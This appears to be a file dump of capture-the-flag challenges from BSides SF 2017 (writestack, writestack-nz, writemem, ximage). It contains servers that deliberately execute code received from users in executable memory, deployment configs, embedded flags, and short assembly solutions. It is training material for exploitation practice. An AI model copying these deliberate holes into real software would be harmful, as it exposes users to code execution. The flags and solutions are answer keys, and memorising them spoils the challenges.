/writemem/distfiles/Makefile: -------------------------------------------------------------------------------- 1 | ../challenge/src/Makefile -------------------------------------------------------------------------------- /writemem/distfiles/README.md: -------------------------------------------------------------------------------- 1 | The server will run any code you send it. Easy peaasy! 2 | 3 | (The server will give you further instructions) 4 | -------------------------------------------------------------------------------- /writemem/distfiles/writemem.c: -------------------------------------------------------------------------------- 1 | ../challenge/src/writemem.c -------------------------------------------------------------------------------- /writemem/solution/pwn.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | mov eax, 0x41414141 4 | mov dword [eax], 1 5 | ret 6 | -------------------------------------------------------------------------------- /writestack-nz/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/writestack-nz 6 | 7 | .PHONY: container push deploy delete deploy-service redeploy 8 | 9 | # Build the docker conatiner with the appropriate tag, allowing us to push it to our registry 10 | # The --no-cache argument builds the container from scratch, which is slow. 11 | container: 12 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 13 | 14 | # Push the container to the google container registry. 15 | # This is the first step in deploying the challenge 16 | push: 17 | gcloud docker -- push ${CONTAINER_TAG} 18 | 19 | # Deploy the challenge to kubernetes 20 | deploy: 21 | kubectl create -f deployment/deploy.yaml 22 | 23 | redeploy: 24 | # Errr... I guess this works 25 | kubectl delete -f deployment/deploy.yaml 26 | kubectl create -f deployment/deploy.yaml 27 | 28 | # This is what exposes the container to the world 29 | deploy-service: 30 | kubectl create -f deployment/service.yaml 31 | 32 | # Delete the challenge from our cluster 33 | delete: 34 | kubectl delete -f deployment/deploy.yaml 35 | kubectl delete -f deployment/service.yaml 36 | -------------------------------------------------------------------------------- /writestack-nz/README.md: -------------------------------------------------------------------------------- 1 | This level requires a user to write some very, very simple shellcode. 2 | -------------------------------------------------------------------------------- /writestack-nz/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN adduser --disabled-password --gecos '' ctf 4 | 5 | RUN apt-get update && apt-get install -y xinetd gcc make libc6-dev-i386 libssl-dev coreutils 6 | 7 | WORKDIR /home/ctf 8 | ADD src/* /home/ctf/ 9 | RUN make 10 | RUN chown -R root:root . 11 | 12 | # Set up xinetd 13 | ADD xinetd.conf /etc/xinetd.conf 14 | RUN mkdir /var/log/xinetd/ 15 | 16 | ADD writestack-nz.xinetd /etc/xinetd.d/writestack-nz 17 | 18 | USER root 19 | EXPOSE 6123 20 | 21 | CMD service xinetd restart && tail -F /var/log/xinetd/xinetd.log 22 | -------------------------------------------------------------------------------- /writestack-nz/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | CC?=gcc 2 | OBJS=writestack-nz.o 3 | 4 | writestack-nz: ${OBJS} 5 | ${CC} -m32 ${CFLAGS} -o writestack-nz writestack-nz.c 6 | 7 | clean: 8 | rm -fv *.o writestack-nz core core.* 9 | -------------------------------------------------------------------------------- /writestack-nz/challenge/src/flag.h: -------------------------------------------------------------------------------- 1 | #define FLAG "ef303ea023f6fbdd554a050d3c35a7f3" 2 | -------------------------------------------------------------------------------- /writestack-nz/challenge/src/writestack-nz.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "flag.h" 9 | 10 | #define LENGTH 1024 11 | #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0) 12 | 13 | int main(int argc, char *argv[]) 14 | { 15 | uint8_t *buffer = mmap(NULL, LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 16 | ssize_t len; 17 | int guard1 = 0x41414141; 18 | int target = 0; 19 | int guard2 = 0x42424242; 20 | int i; 21 | 22 | alarm(10); 23 | 24 | disable_buffering(stdout); 25 | disable_buffering(stderr); 26 | 27 | printf("Send me stuff!! Your goal: change target (on the stack) to 1 without damaging guard1 or guard2\n"); 28 | len = read(0, buffer, LENGTH); 29 | 30 | if(len < 0) { 31 | printf("Error reading!\n"); 32 | exit(1); 33 | } 34 | 35 | for(i = 0; i < len; i++) { 36 | if(buffer[i] == '\0') { 37 | printf("No NUL bytes!!\n"); 38 | return 0; 39 | } 40 | } 41 | 42 | asm("call *%0\n" : :"r"(buffer)); 43 | 44 | if(guard1 != 0x41414141) { 45 | printf("Damaged guard1!\n"); 46 | exit(0); 47 | } 48 | 49 | if(guard2 != 0x42424242) { 50 | printf("Damaged guard2!\n"); 51 | exit(0); 52 | } 53 | 54 | if(target != 1) { 55 | printf("Change target to 1!\n"); 56 | exit(0); 57 | } 58 | 59 | printf("FLAG: %s\n", FLAG); 60 | 61 | return 0; 62 | } 63 | -------------------------------------------------------------------------------- /writestack-nz/challenge/writestack-nz.xinetd: -------------------------------------------------------------------------------- 1 | service writestack-nz 2 | { 3 | protocol = tcp 4 | disable = no 5 | port = 6123 6 | flags = REUSE 7 | socket_type = stream 8 | wait = no 9 | user = ctf 10 | server = /usr/bin/timeout 11 | server_args = 10 /home/ctf/writestack-nz 12 | type = UNLISTED 13 | } 14 | -------------------------------------------------------------------------------- /writestack-nz/challenge/xinetd.conf: -------------------------------------------------------------------------------- 1 | # Simple configuration file for xinetd 2 | # 3 | # Some defaults, and include /etc/xinetd.d/ 4 | 5 | defaults 6 | { 7 | 8 | # Please note that you need a log_type line to be able to use log_on_success 9 | # and log_on_failure. The default is the following : 10 | log_type = FILE /var/log/xinetd/xinetd.log 11 | log_on_success = HOST PID DURATION 12 | 13 | } 14 | 15 | includedir /etc/xinetd.d 16 | -------------------------------------------------------------------------------- /writestack-nz/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: writestack-nz 6 | spec: 7 | replicas: 2 8 | template: 9 | metadata: 10 | labels: 11 | app: writestack-nz 12 | spec: 13 | containers: 14 | - name: writestack-nz 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/writestack-nz 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 6123 20 | volumeMounts: 21 | - mountPath: /var/run/secrets/kubernetes.io/serviceaccount 22 | name: no-api-access-please 23 | readOnly: true 24 | volumes: 25 | - name: no-api-access-please 26 | emptyDir: {} 27 | -------------------------------------------------------------------------------- /writestack-nz/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: writestack-nz-service 5 | labels: 6 | app: writestack-nz 7 | spec: 8 | type: LoadBalancer 9 | ports: 10 | - port: 6123 11 | targetPort: 6123 12 | selector: 13 | app: writestack-nz 14 | -------------------------------------------------------------------------------- /writestack-nz/distfiles/Makefile: -------------------------------------------------------------------------------- 1 | ../challenge/src/Makefile -------------------------------------------------------------------------------- /writestack-nz/distfiles/README.md: -------------------------------------------------------------------------------- 1 | The server will run any code you send it. Easy peaasy! 2 | 3 | (The server will give you further instructions) 4 | -------------------------------------------------------------------------------- /writestack-nz/distfiles/writestack-nz.c: -------------------------------------------------------------------------------- 1 | ../challenge/src/writestack-nz.c -------------------------------------------------------------------------------- /writestack-nz/solution/pwn.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | xor eax, eax 4 | inc eax 5 | mov dword [esp+0x18], eax 6 | 7 | ret 8 | -------------------------------------------------------------------------------- /writestack/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/writestack 6 | 7 | .PHONY: container push deploy delete deploy-service redeploy 8 | 9 | # Build the docker conatiner with the appropriate tag, allowing us to push it to our registry 10 | # The --no-cache argument builds the container from scratch, which is slow. 11 | container: 12 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 13 | 14 | # Push the container to the google container registry. 15 | # This is the first step in deploying the challenge 16 | push: 17 | gcloud docker -- push ${CONTAINER_TAG} 18 | 19 | # Deploy the challenge to kubernetes 20 | deploy: 21 | kubectl create -f deployment/deploy.yaml 22 | 23 | redeploy: 24 | # Errr... I guess this works 25 | kubectl delete -f deployment/deploy.yaml 26 | kubectl create -f deployment/deploy.yaml 27 | 28 | # This is what exposes the container to the world 29 | deploy-service: 30 | kubectl create -f deployment/service.yaml 31 | 32 | # Delete the challenge from our cluster 33 | delete: 34 | kubectl delete -f deployment/deploy.yaml 35 | kubectl delete -f deployment/service.yaml 36 | -------------------------------------------------------------------------------- /writestack/README.md: -------------------------------------------------------------------------------- 1 | This level requires a user to write some very, very simple shellcode. 2 | -------------------------------------------------------------------------------- /writestack/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN adduser --disabled-password --gecos '' ctf 4 | 5 | RUN apt-get update && apt-get install -y xinetd gcc make libc6-dev-i386 libssl-dev coreutils 6 | 7 | WORKDIR /home/ctf 8 | ADD src/* /home/ctf/ 9 | RUN make 10 | RUN chown -R root:root . 11 | 12 | # Set up xinetd 13 | ADD xinetd.conf /etc/xinetd.conf 14 | RUN mkdir /var/log/xinetd/ 15 | 16 | ADD writestack.xinetd /etc/xinetd.d/writestack 17 | 18 | USER root 19 | EXPOSE 6122 20 | 21 | CMD service xinetd restart && tail -F /var/log/xinetd/xinetd.log 22 | -------------------------------------------------------------------------------- /writestack/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | CC?=gcc 2 | OBJS=writestack.o 3 | 4 | writestack: ${OBJS} 5 | ${CC} -m32 ${CFLAGS} -o writestack writestack.c 6 | 7 | clean: 8 | rm -fv *.o writestack core core.* 9 | -------------------------------------------------------------------------------- /writestack/challenge/src/flag.h: -------------------------------------------------------------------------------- 1 | #define FLAG "328218b8372dbfe89b8f9917fe03fd20" 2 | -------------------------------------------------------------------------------- /writestack/challenge/src/writestack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "flag.h" 9 | 10 | #define LENGTH 1024 11 | #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0) 12 | 13 | int main(int argc, char *argv[]) 14 | { 15 | uint8_t *buffer = mmap(NULL, LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 16 | ssize_t len; 17 | int guard1 = 0x41414141; 18 | int target = 0; 19 | int guard2 = 0x42424242; 20 | 21 | alarm(10); 22 | 23 | disable_buffering(stdout); 24 | disable_buffering(stderr); 25 | 26 | printf("Send me stuff!! Your goal: change target (on the stack) to 1 without damaging guard1 or guard2\n"); 27 | len = read(0, buffer, LENGTH); 28 | 29 | if(len < 0) { 30 | printf("Error reading!\n"); 31 | exit(1); 32 | } 33 | 34 | asm("call *%0\n" : :"r"(buffer)); 35 | 36 | if(guard1 != 0x41414141) { 37 | printf("Damaged guard1!\n"); 38 | exit(0); 39 | } 40 | 41 | if(guard2 != 0x42424242) { 42 | printf("Damaged guard2!\n"); 43 | exit(0); 44 | } 45 | 46 | if(target != 1) { 47 | printf("Change target to 1!\n"); 48 | exit(0); 49 | } 50 | 51 | printf("FLAG: %s\n", FLAG); 52 | 53 | return 0; 54 | } 55 | -------------------------------------------------------------------------------- /writestack/challenge/writestack.xinetd: -------------------------------------------------------------------------------- 1 | service writestack 2 | { 3 | protocol = tcp 4 | disable = no 5 | port = 6122 6 | flags = REUSE 7 | socket_type = stream 8 | wait = no 9 | user = ctf 10 | server = /usr/bin/timeout 11 | server_args = 10 /home/ctf/writestack 12 | type = UNLISTED 13 | } 14 | -------------------------------------------------------------------------------- /writestack/challenge/xinetd.conf: -------------------------------------------------------------------------------- 1 | # Simple configuration file for xinetd 2 | # 3 | # Some defaults, and include /etc/xinetd.d/ 4 | 5 | defaults 6 | { 7 | 8 | # Please note that you need a log_type line to be able to use log_on_success 9 | # and log_on_failure. The default is the following : 10 | log_type = FILE /var/log/xinetd/xinetd.log 11 | log_on_success = HOST PID DURATION 12 | 13 | } 14 | 15 | includedir /etc/xinetd.d 16 | -------------------------------------------------------------------------------- /writestack/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: writestack 6 | spec: 7 | replicas: 2 8 | template: 9 | metadata: 10 | labels: 11 | app: writestack 12 | spec: 13 | containers: 14 | - name: writestack 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/writestack 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 6122 20 | volumeMounts: 21 | - mountPath: /var/run/secrets/kubernetes.io/serviceaccount 22 | name: no-api-access-please 23 | readOnly: true 24 | volumes: 25 | - name: no-api-access-please 26 | emptyDir: {} 27 | -------------------------------------------------------------------------------- /writestack/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: writestack-service 5 | labels: 6 | app: writestack 7 | spec: 8 | type: LoadBalancer 9 | ports: 10 | - port: 6122 11 | targetPort: 6122 12 | selector: 13 | app: writestack 14 | -------------------------------------------------------------------------------- /writestack/distfiles/Makefile: -------------------------------------------------------------------------------- 1 | ../challenge/src/Makefile -------------------------------------------------------------------------------- /writestack/distfiles/README.md: -------------------------------------------------------------------------------- 1 | The server will run any code you send it. Easy peaasy! 2 | 3 | (The server will give you further instructions) 4 | -------------------------------------------------------------------------------- /writestack/distfiles/writestack.c: -------------------------------------------------------------------------------- 1 | ../challenge/src/writestack.c -------------------------------------------------------------------------------- /writestack/solution/pwn.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | mov dword [esp+0x18], 1 4 | ret 5 | -------------------------------------------------------------------------------- /ximage/challenge/README.md: -------------------------------------------------------------------------------- 1 | This level works by giving the user .bmp images that are literally executable. 2 | They can be loaded into memory and run (on a 32-bit processor). 3 | 4 | To embed the code, run: 5 | 6 | ruby ./create_code.rb FLAG:c3dbbf0298eceb3edcd6d2505fd8d30d 7 | ruby ./embed_code.rb code.asm 8 | 9 | It will endeavour to replace every pixel in the original file with the closest 10 | NOP it can find. 11 | -------------------------------------------------------------------------------- /ximage/challenge/create_code.rb: -------------------------------------------------------------------------------- 1 | f = File.open('code.asm', 'w') 2 | 3 | f.write <") 24 | exit(1) 25 | end 26 | 27 | current = 0 28 | str.bytes.each do |c| 29 | offset = 0 30 | if(current < c) 31 | offset = (c - current) 32 | f.puts("add byte [ecx], 0x%02x ; '%s'" % [offset, c < 0x20 ? ('0x%02x' % c) : c.chr]) 33 | elsif(current > c) 34 | offset = (current - c) 35 | f.puts("sub byte [ecx], 0x%02x ; '%s'" % [offset, c < 0x20 ? ('0x%02x' % c) : c.chr]) 36 | end 37 | 38 | current = c 39 | 40 | f.puts("xor eax, eax") 41 | f.puts("mov al, 4") 42 | f.puts("int 0x80") 43 | f.puts() 44 | end 45 | f.write <